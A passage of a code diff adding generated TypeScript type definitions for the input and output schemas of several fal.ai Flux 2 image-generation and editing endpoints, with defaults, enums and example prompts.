num_inference_steps?: number + /** + * @description Whether to enable the safety checker for the generated image. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Random seed for reproducibility. Same seed with same prompt will produce same result. + */ + seed?: number | null + /** + * @description The URLs of the images for virtual try-on. Provide person image and clothing image. + * @example ["https://v3b.fal.media/files/b/koala/YlOtn9SjXGGH274eN1G5R.png","https://v3b.fal.media/files/b/penguin/sji5EHUvmFYOCVZsvvId-.png"] + * @type array + */ + image_urls: string[] + /** + * @description The CFG (Classifier Free Guidance) scale. Controls how closely the model follows the prompt. + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and won't be saved in history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The strength of the virtual try-on effect. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + lora_scale?: number + /** + * @description Acceleration level for image generation. 'regular' balances speed and quality. + * @default 'regular' + * @type string | undefined + */ + acceleration?: InputFalAiFlux2LoraGalleryVirtualTryonAccelerationEnumKey + /** + * @description Number of images to generate + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to generate a virtual try-on image. + * @example A person wearing a stylish jacket, virtual try-on + * @example Virtual try-on of a dress on a model + * @example Fashion virtual try-on with clothing + * @type string + */ + prompt: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image2439E90E = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiFlux2LoraGalleryVirtualTryon = { + /** + * @description The seed used for generation + * @type integer + */ + seed: number + /** + * @description The generated virtual try-on images + * @example [{"url":"https://v3b.fal.media/files/b/zebra/oFnSZ-nBbPgM-gXT0ApXy.png"}] + * @type array + */ + images: Image2439E90E[] + /** + * @description The prompt used for generation + * @type string + */ + prompt: string +} + +export type ImageSize22B1Cc3F = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2MaxSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', +} as const + +export type InputFalAiFlux2MaxSafetyToleranceEnumKey = + (typeof inputFalAiFlux2MaxSafetyToleranceEnum)[keyof typeof inputFalAiFlux2MaxSafetyToleranceEnum] + +export const inputFalAiFlux2MaxImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2MaxImageSizeKey = + (typeof inputFalAiFlux2MaxImageSize)[keyof typeof inputFalAiFlux2MaxImageSize] + +export const inputFalAiFlux2MaxOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFlux2MaxOutputFormatEnumKey = + (typeof inputFalAiFlux2MaxOutputFormatEnum)[keyof typeof inputFalAiFlux2MaxOutputFormatEnum] + +export type InputFalAiFlux2Max = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The seed to use for the generation. + */ + seed?: number | null + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 5 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiFlux2MaxSafetyToleranceEnumKey + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSize22B1Cc3F | InputFalAiFlux2MaxImageSizeKey + /** + * @description Whether to enable the safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFlux2MaxOutputFormatEnumKey + /** + * @description The prompt to generate an image from. + * @example A lavish, baroque-style image of a powerful sorceress in her arcane study. She is dressed in robes of deep emerald velvet embroidered with gold thread and shimmering beetle wings, holding a staff topped with a glowing, swirling galaxy trapped in a crystal orb.She stands before a massive oak desk covered in open grimoires with illuminated pages showing alchemical diagrams, bubbling potions in glass alembics, and a sleeping pseudodragon curled around a stack of scrolls. The room is filled with curiosities: shelves of leather-bound books, celestial globes, and dried magical herbs hanging from the ceiling. The lighting is chiaroscuro, from a large fireplace with green flames and a magical candelabra floating in mid-air. The brushwork is visible and textured, with rich, deep colors. The style is reminiscent of Rembrandt meets classic fantasy art. The words 'Flux 2 Max is available on fal' are written in elegant cursive font on the top of the image. + * @type string + */ + prompt: string +} + +export type ImageFileD1Dd6E6F = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiFlux2Max = { + /** + * @description The seed used for the generation. + * @type integer + */ + seed: number + /** + * @description The generated images. + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/flux2/max.jpg"}] + * @type array + */ + images: ImageFileD1Dd6E6F[] +} + +export type ImageSize0111676A = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2MaxEditSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', +} as const + +export type InputFalAiFlux2MaxEditSafetyToleranceEnumKey = + (typeof inputFalAiFlux2MaxEditSafetyToleranceEnum)[keyof typeof inputFalAiFlux2MaxEditSafetyToleranceEnum] + +export const inputFalAiFlux2MaxEditImageSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2MaxEditImageSizeKey = + (typeof inputFalAiFlux2MaxEditImageSize)[keyof typeof inputFalAiFlux2MaxEditImageSize] + +export const inputFalAiFlux2MaxEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFlux2MaxEditOutputFormatEnumKey = + (typeof inputFalAiFlux2MaxEditOutputFormatEnum)[keyof typeof inputFalAiFlux2MaxEditOutputFormatEnum] + +export type InputFalAiFlux2MaxEdit = { + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 5 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiFlux2MaxEditSafetyToleranceEnumKey + /** + * @description The size of the generated image. If `auto`, the size will be determined by the model. + * @default auto + */ + image_size?: ImageSize0111676A | InputFalAiFlux2MaxEditImageSizeKey + /** + * @description The prompt to generate an image from. + * @example A high-fashion magazine cover featuring an android in an avant-garde geometric cloth dress, with logo prints from @Image1. The backdrop is an eye-catching scenery. The title text 'FAL MAGAZINE' spans the top in bold white serif font. Overlay text at the bottom right reads 'THE FUTURE OF AI' in a sleek, thin sans-serif font. + * @type string + */ + prompt: string + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFlux2MaxEditOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description List of URLs of input images for editing + * @example ["https://storage.googleapis.com/falserverless/example_inputs/flux2/max.jpg"] + * @type array + */ + image_urls: string[] + /** + * @description Whether to enable the safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The seed to use for the generation. + */ + seed?: number | null +} + +export type ImageFile6Bbb69Fa = { + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiFlux2MaxEdit = { + /** + * @description The seed used for the generation. + * @type integer + */ + seed: number + /** + * @description The generated images. + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/flux2/max_edit_output.jpg"}] + * @type array + */ + images: ImageFile6Bbb69Fa[] +} + +export type ImageSize98D30054 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2ProSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', +} as const + +export type InputFalAiFlux2ProSafetyToleranceEnumKey = + (typeof inputFalAiFlux2ProSafetyToleranceEnum)[keyof typeof inputFalAiFlux2ProSafetyToleranceEnum] + +export const inputFalAiFlux2ProOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFlux2ProOutputFormatEnumKey = + (typeof inputFalAiFlux2ProOutputFormatEnum)[keyof typeof inputFalAiFlux2ProOutputFormatEnum] + +export const inputFalAiFlux2ProImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2ProImageSizeKey = + (typeof inputFalAiFlux2ProImageSize)[keyof typeof inputFalAiFlux2ProImageSize] + +export type InputFalAiFlux2Pro = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The seed to use for the generation. + */ + seed?: number | null + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 5 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiFlux2ProSafetyToleranceEnumKey + /** + * @description The prompt to generate an image from. + * @example An intense close-up of knight's visor reflecting battle, sword raised, flames in background, chiaroscuro helmet shadows, hyper-detailed armor, square medieval, cinematic lighting + * @type string + */ + prompt: string + /** + * @description Whether to enable the safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFlux2ProOutputFormatEnumKey + /** + * @description The size of the generated image. + * @default landscape_4_3 + */ + image_size?: ImageSize98D30054 | InputFalAiFlux2ProImageSizeKey +} + +export type ImageFileD1C9561A = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiFlux2Pro = { + /** + * @description The seed used for the generation. + * @type integer + */ + seed: number + /** + * @description The generated images. + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/flux2_pro_t2i_output.png"}] + * @type array + */ + images: ImageFileD1C9561A[] +} + +export type ImageSize3C54D0Eb = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2ProEditSafetyToleranceEnum = { + '1': '1', + '2': '2', + '3': '3', + '4': '4', + '5': '5', +} as const + +export type InputFalAiFlux2ProEditSafetyToleranceEnumKey = + (typeof inputFalAiFlux2ProEditSafetyToleranceEnum)[keyof typeof inputFalAiFlux2ProEditSafetyToleranceEnum] + +export const inputFalAiFlux2ProEditImageSize = { + auto: 'auto', + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2ProEditImageSizeKey = + (typeof inputFalAiFlux2ProEditImageSize)[keyof typeof inputFalAiFlux2ProEditImageSize] + +export const inputFalAiFlux2ProEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFlux2ProEditOutputFormatEnumKey = + (typeof inputFalAiFlux2ProEditOutputFormatEnum)[keyof typeof inputFalAiFlux2ProEditOutputFormatEnum] + +export type InputFalAiFlux2ProEdit = { + /** + * @description The safety tolerance level for the generated image. 1 being the most strict and 5 being the most permissive. + * @default '2' + * @type string | undefined + */ + safety_tolerance?: InputFalAiFlux2ProEditSafetyToleranceEnumKey + /** + * @description The size of the generated image. If `auto`, the size will be determined by the model. + * @default auto + */ + image_size?: ImageSize3C54D0Eb | InputFalAiFlux2ProEditImageSizeKey + /** + * @description The prompt to generate an image from. + * @example Place realistic flames emerging from the top of the coffee cup, dancing above the rim + * @type string + */ + prompt: string + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFlux2ProEditOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description List of URLs of input images for editing + * @example ["https://storage.googleapis.com/falserverless/example_inputs/flux2_pro_edit_input.png"] + * @type array + */ + image_urls: string[] + /** + * @description Whether to enable the safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The seed to use for the generation. + */ + seed?: number | null +} + +export type ImageFileCd8577C1 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiFlux2ProEdit = { + /** + * @description The seed used for the generation. + * @type integer + */ + seed: number + /** + * @description The generated images. + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/flux2_pro_edit_output.png"}] + * @type array + */ + images: ImageFileCd8577C1[] +} + +export const inputFalAiFlux2ProOutpaintModeEnum = { + high: 'high', + fast: 'fast', +} as const + +export type InputFalAiFlux2ProOutpaintModeEnumKey = + (typeof inputFalAiFlux2ProOutpaintModeEnum)[keyof typeof inputFalAiFlux2ProOutpaintModeEnum] + +export const inputFalAiFlux2ProOutpaintOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFlux2ProOutpaintOutputFormatEnumKey = + (typeof inputFalAiFlux2ProOutpaintOutputFormatEnum)[keyof typeof inputFalAiFlux2ProOutpaintOutputFormatEnum] + +export type InputFalAiFlux2ProOutpaint = { + /** + * @description Pixels to expand at the top of the image. + * @minimum 0 + * @maximum 2048 + * @default 0 + * @example 0 + * @type integer | undefined + */ + expand_top?: number + /** + * @description Whether to automatically crop the reference image when the expanded canvas does not fully contain it. + * @default false + * @type boolean | undefined + */ + auto_crop?: boolean + /** + * @description Quality/speed trade-off for outpainting. `high` (default) delivers the highest-fidelity results; `fast` is significantly faster and extends most scenes well but may produce lower fidelity. + * @default 'high' + * @example high + * @type string | undefined + */ + mode?: InputFalAiFlux2ProOutpaintModeEnumKey + /** + * @description Pixels to expand on the left of the image. + * @minimum 0 + * @maximum 2048 + * @default 0 + * @example 200 + * @type integer | undefined + */ + expand_left?: number + /** + * @description Pixels to expand on the right of the image. + * @minimum 0 + * @maximum 2048 + * @default 0 + * @example 200 + * @type integer | undefined + */ + expand_right?: number + /** + * @description The image URL to expand using outpainting. + * @example https://v3b.fal.media/files/b/0a9a3ba3/s-Z4TGRh9EQwXWTWrvzaB_Nbqhm4Fl.png + * @type string + */ + image_url: string + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiFlux2ProOutpaintOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Pixels to expand at the bottom of the image. + * @minimum 0 + * @maximum 2048 + * @default 0 + * @example 200 + * @type integer | undefined + */ + expand_bottom?: number + /** + * @description Whether to enable the safety checker. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type ImageFile7Ed13D1D = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image + */ + width?: number | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiFlux2ProOutpaint = { + /** + * @description The outpainted images. + * @example [{"url":"https://v3b.fal.media/files/b/0a9a3c6d/csgZL8-uzDQz2DIIzKVNZ_HJX1XzZU.jpg"}] + * @type array + */ + images: ImageFile7Ed13D1D[] +} + +export type ImageSize991C032D = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2EditAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiFlux2EditAccelerationEnumKey = + (typeof inputFalAiFlux2EditAccelerationEnum)[keyof typeof inputFalAiFlux2EditAccelerationEnum] + +export const inputFalAiFlux2EditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2EditImageSizeKey = + (typeof inputFalAiFlux2EditImageSize)[keyof typeof inputFalAiFlux2EditImageSize] + +export const inputFalAiFlux2EditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2EditOutputFormatEnumKey = + (typeof inputFalAiFlux2EditOutputFormatEnum)[keyof typeof inputFalAiFlux2EditOutputFormatEnum] + +export type InputFalAiFlux2Edit = { + /** + * @description The prompt to edit the image. + * @example Change his clothes to casual suit and tie + * @type string + */ + prompt: string + /** + * @description The acceleration level to use for the image generation. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiFlux2EditAccelerationEnumKey + /** + * @description The URLs of the images for editing. A maximum of 4 images are allowed, if more are provided, only the first 4 will be used. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/flux2_dev_edit_input.png"] + * @type array + */ + image_urls: string[] + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the prompt will be expanded for better results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The number of inference steps to perform. + * @minimum 4 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The size of the image to generate. The width and height must be between 512 and 2048 pixels. + * @example {"height":1152,"width":2016} + */ + image_size?: ImageSize991C032D | InputFalAiFlux2EditImageSizeKey | null + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2EditOutputFormatEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Guidance Scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number +} + +export type ImageFile916996C9 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2Edit = { + /** + * @description The edited images + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/flux2_dev_edit_output.png"}] + * @type array + */ + images: ImageFile916996C9[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize4295383F = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2FlashImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2FlashImageSizeKey = + (typeof inputFalAiFlux2FlashImageSize)[keyof typeof inputFalAiFlux2FlashImageSize] + +export const inputFalAiFlux2FlashOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2FlashOutputFormatEnumKey = + (typeof inputFalAiFlux2FlashOutputFormatEnum)[keyof typeof inputFalAiFlux2FlashOutputFormatEnum] + +export type InputFalAiFlux2Flash = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description The prompt to generate an image from. + * @example An army of ants battles for a sugar cube in a giant sandbox, with tiny plastic soldier toys caught in the melee. Ant bodies shine against gritty beige sand and the glossy, crystalline cube. Fiery sunrise spills golden highlights, throwing dramatic shadows, amplifying the excitement. Shot macro (100mm), aperture f/2.8 for soft background, centered composition with ground-level POV, mixing organic and manufactured textures. + * @type string + */ + prompt: string + /** + * @description Guidance Scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If set to true, the prompt will be expanded for better results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the image to generate. The width and height must be between 512 and 2048 pixels. + * @default landscape_4_3 + */ + image_size?: ImageSize4295383F | InputFalAiFlux2FlashImageSizeKey + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2FlashOutputFormatEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number +} + +export type ImageFile198E875B = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2Flash = { + /** + * @description The generated images + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/flux-2-flash-t2i.png"}] + * @type array + */ + images: ImageFile198E875B[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSizeD240Ab6A = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2FlashEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiFlux2FlashEditOutputFormatEnumKey = + (typeof inputFalAiFlux2FlashEditOutputFormatEnum)[keyof typeof inputFalAiFlux2FlashEditOutputFormatEnum] + +export const inputFalAiFlux2FlashEditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2FlashEditImageSizeKey = + (typeof inputFalAiFlux2FlashEditImageSize)[keyof typeof inputFalAiFlux2FlashEditImageSize] + +export type InputFalAiFlux2FlashEdit = { + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to edit the image. + * @example Remove the meat from the hamburger + * @type string + */ + prompt: string + /** + * @description If set to true, the prompt will be expanded for better results. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Guidance Scale is a measure of how close you want the model to stick to your prompt when looking for a related image to show you. + * @minimum 0 + * @maximum 20 + * @default 2.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFlux2FlashEditOutputFormatEnumKey + /** + * @description The seed to use for the generation. If not provided, a random seed will be used. + */ + seed?: number | null + /** + * @description The URLs of the images for editing. A maximum of 4 images are allowed, if more are provided, only the first 4 will be used. + * @example ["https://storage.googleapis.com/falserverless/example_outputs/flux-2-flash-edit-input.png"] + * @type array + */ + image_urls: string[] + /** + * @description The size of the image to generate. The width and height must be between 512 and 2048 pixels. + * @default square_hd + */ + image_size?: ImageSizeD240Ab6A | InputFalAiFlux2FlashEditImageSizeKey | null +} + +export type ImageFileCc2D8E2E = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image + */ + width?: number | null +} + +export type OutputFalAiFlux2FlashEdit = { + /** + * @description The edited images + * @example [{"url":"https://storage.googleapis.com/falserverless/example_outputs/flux-2-flash-edit.png"}] + * @type array + */ + images: ImageFileCc2D8E2E[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + timings: { + [key: string]: number + } + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSizeCb97Fa51 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiFlux2Klein4BImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFlux2Klein4BImageSizeKey = + (typeof inputFalAiFlux2Klein4BImageSize)[keyof typeof inputFalAiFlux2Klein4BImageSize] + +export const inputFalAiFlux2Klein4BOutputFormatEnum = { + 